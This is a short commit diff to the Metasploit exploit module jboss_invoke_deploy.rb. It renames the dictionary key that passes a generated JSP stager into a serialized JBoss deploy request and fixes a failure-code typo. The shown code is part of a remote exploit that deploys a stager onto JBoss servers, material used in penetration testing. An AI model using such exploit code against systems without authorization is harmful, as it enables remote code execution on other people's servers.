Use easier key name

modules/exploits/multi/http/jboss_invoke_deploy.rb

@@ -128,12 +128,11 @@ class Metasploit4 < Msf::Exploit::Remote
     name_parameter = rand_text_alpha(8)
     content_parameter = rand_text_alpha(8)
     stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
-    stager_code = "A" * 810		# 810 is the size of the stager in the serialized request
 
     replace_values = {
       'regex_app_base' => regex_stager_app_base,
       'regex_jsp_name' => regex_stager_jsp_name,
-      stager_code => generate_stager(name_parameter, content_parameter)
+      'jsp_code' => generate_stager(name_parameter, content_parameter)
     }
 
     print_status("Deploying stager")
@@ -245,7 +244,7 @@ EOT
       data = build_install_stager(
         war_name: replace_params['regex_app_base'],
         jsp_name: replace_params['regex_jsp_name'],
-        data: replace_params["A" * 810]
+        data: replace_params['jsp_code']
       ).encode
     when 'removestagerfile.bin'
       data = build_delete_stager_file(
@@ -260,7 +259,7 @@ EOT
         extension: '.war'
       ).encode
     else
-      fail_with(Failure::Unknow, "#{peer} - Unexpected operation")
+      fail_with(Failure::Unknown, "#{peer} - Unexpected operation")
     end
 
     res = send_request_cgi({